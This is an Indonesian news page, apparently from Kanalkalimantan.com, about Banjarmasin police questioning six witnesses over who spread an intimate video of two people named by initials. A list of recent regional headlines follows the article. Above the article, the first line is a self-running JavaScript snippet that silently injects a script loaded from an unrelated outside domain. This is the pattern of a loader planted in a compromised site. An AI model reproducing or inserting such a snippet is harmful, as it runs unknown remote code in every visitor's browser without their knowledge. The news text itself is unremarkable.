(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kasus Video Mesum Banjarmasin Polisi Periksa 6 Saksi, Siapa Penyebar Belum Juga Ada Tersangka


BANJARMASIN, Sepekan setelah beredar luasnya video mesum yang melibatkan dua sejoli berinisial G dan N, hingga kini kepolisian masih mendalami siapa yang menyebarkan video mesum itu. Hanya saja hingga sepekan berlalu, sepertinya polisi kesulitan mengungkap siapa dalang penyebar pertama video privacy itu.

“Untuk sementara ini masih memeriksa saksi-saksi saat ini, yang terkait dengan pelaku penyebaran. Pemeriksaan sendiri masih berjalan, dan intinya yang diduga menjadi pemeran di video itu sudah kita ambil keterangannya,” ucap Kasatreskrim Polresta Banjarmasin AKP Ade Papa Rihi kepada Kanalkalimantan.com, Sabtu (7/9) malam.

Menurut AKP Ade, sampai saat ini keduanya mengakui kalau yang berada di video tersebut adalah yaitu G dan N. Namun demikian, masih harus ada pembuktian melalui uji laboratorium forensik. Sejauh ini, sudah ada 6 saksi yang dimintai keterangan oleh kepolisian. “Saat ini kami fokus ke pembuat dan penyebar (video mesumnya). Nanti kita lihat apakah ada kemungkinan unsur kesengajaan dalam penyebarannya, bisa juga kedua pelaku (pemeran video) ini. Tapi kalau memang tidak, siapa (yang menyebarkan), ini yang kita dalami,” tambah AKP Ade.

Meski kasus penyebaran video mesum ini sudah sepekan, AKP Ade membantah kalau kepolisian lamban dalam menangani kasus ini. “Namanya proses butuh waktu. Tergantung dari tingkat kesulitan, ketersediaan saksi, dan alat bukti. Apalagi ini kan proses pemeriksaan kaitannya dengan ITE, tentunya kita harus ada pemeriksaan secara laboratorisnya dan ahlinya,” kata AKP Ade.

AKP Ade menjelaskan, hingga saat ini, kepolisian masih menggunakan UU ITE dalam menangangi kasus beredarnya video mesum ini. “Unsur pornografi, bisa. Ada kemungkinan, tapi kita lihat hasil pemeriksaannya. Kalau disampaikan sekarang terlalu dini,” tutup AKP Ade. (fikri)

Reporter : Fikri
Editor : Bie

 


Desy Arfianty

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

6 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

6 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

6 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

9 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

15 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.